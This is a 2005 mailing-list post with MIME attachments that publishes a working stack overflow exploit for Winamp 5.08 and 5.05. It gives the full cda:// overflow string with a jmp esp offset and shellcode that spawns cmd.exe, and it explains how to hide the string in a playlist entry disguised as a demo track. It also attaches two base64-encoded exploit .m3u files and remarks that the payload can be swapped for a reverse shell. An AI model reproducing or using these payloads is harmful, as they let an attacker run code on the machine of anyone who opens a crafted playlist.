Winamp Exploit (POC) 5.08 Stack Overflow

[Rojodos]

This is a multi-part message in MIME format.

--=====000_Dragon280534826565_=====
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hello :)

I=B4ve coded an exploit about this vulnerability, using the=
advisory "NSFOCUS SA2005-01 : Buffer Overflow in WinAMP=
in_cdda.dll CDA Device Name" as a guide. The advisory is very=
good, so it=B4s very easy to code the exploit.

This code:

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT=
_IJJJ=8B=E53=FFW=83=EC=04=C6E=F8c=C6E=F9m=C6E=FAd= C6E=FB.=C6E=FCe=C6E=FDx=C6E=FEe=B8D=80=BFwP=8D]=F8S=FF=D0

Should spawn a shell in a WinXP SP1 with Winamp 5.08, I have used=
as offset 0x5f20546e olepro32.dll, a "jmp esp" (nT _)

=8B=E53=FFW=83=EC=04=C6E=F8c=C6E=F9m=C6E=FAd=C6E=F B.=C6E=FCe=C6E=FDx=C6E=FEe=B8D=80=BFwP=8D]=F8S=FF=D0 is the scode in=
"printable" chars.

I wrote the scode sometime ago, in http://foro.elhacker.net Its a=
very very simple scode, with hardcoded system() call (i=B4m a=
noob, sorry xD)

I have used AAAABBBBCCCC... to see how big is the buffer, and to=
see where the ret is overflowed (in 5.08 exactly in HIII)

In Winamp 5.05 works the same code, but the ret is "IIII", so the=
exploit must have another "H":

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHnT=
_IJJJ=8B=E53=FFW=83=EC=04=C6E=F8c=C6E=F9m=C6E=FAd= C6E=FB.=C6E=FCe=C6E=FDx=C6E=FEe=B8D=80=BFwP=8D]=F8S=FF=D0

Then, the exploit works fine in Winamp 5.05 and spawns a shell=
:)

I have only tested it in 5.08 and 5.05, but I think that its easy=
to "port" the exploit to another version.

These codes can be saved in a archive type m3u (playlist archive=
Winamp)

If you copy these codes in a text archive like this (Winamp=
5.08):

#EXTM3U
#EXTINF:5,DJ Mike Llama - Llama Whippin' Intro
cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT=
_IJJJ=8B=E53=FFW=83=EC=04=C6E=F8c=C6E=F9m=C6E=FAd= C6E=FB.=C6E=FCe=C6E=FDx=C6E=FEe=B8D=80=BFwP=8D]=F8S=FF=D0

(for example, i have used the "demo" archive, DJ Mike Llama and=
edit the PLAY LIST ENTRY)

And save as *.m3u file, if you open this (in this case, I repeat,=
with Winamp 5.08), a cmd shell will appear :)

It=B4s trivial to change the shellcode to make a bindport, reverse=
shell, etc..

I atach two exploits, one for Winamp 5.08 and the other for=
Winamp 5.05 (the are only de special m3u files)

Sorry about my bad english, I=B4m spanish :) (Spain=
exists :D)

Greets to http://www.elhacker.net and http://foro.elhacker.net=
and all the people I know, especially "her" (Isthar) :)

THE REAL ELHACKER.NET! :D

Best regards.

Rojodos

rojo2_bugtraq@yahoo.es
2005-01-28

--=====000_Dragon280534826565_=====
Content-Type: application/octet-stream;
name="exploit_Winamp-5.05.m3u"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="exploit_Winamp-5.05.m3u"

I0VYVE0zVQ0KI0VYVElORjo1LERKIE1pa2UgTGxhbWEgLSBMbG FtYSBXaGlwcGluJyBJbnRybw0K
Y2RhOi8vQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISE huVCBfSUpKSovlM/9Xg+wExkX4
Y8ZF+W3GRfpkxkX7LsZF/GXGRf14xkX+ZbhEgL93UI1d+FP/0A0K

--=====000_Dragon280534826565_=====
Content-Type: application/octet-stream;
name="exploit_Winamp-5.08.m3u"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="exploit_Winamp-5.08.m3u"

I0VYVE0zVQ0KI0VYVElORjo1LERKIE1pa2UgTGxhbWEgLSBMbG FtYSBXaGlwcGluJyBJbnRybw0K
Y2RhOi8vQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISG 5UIF9JSkpKi+Uz/1eD7ATGRfhj
xkX5bcZF+mTGRfsuxkX8ZcZF/XjGRf5luESAv3dQjV34U//QDQo=

--=====000_Dragon280534826565_=====--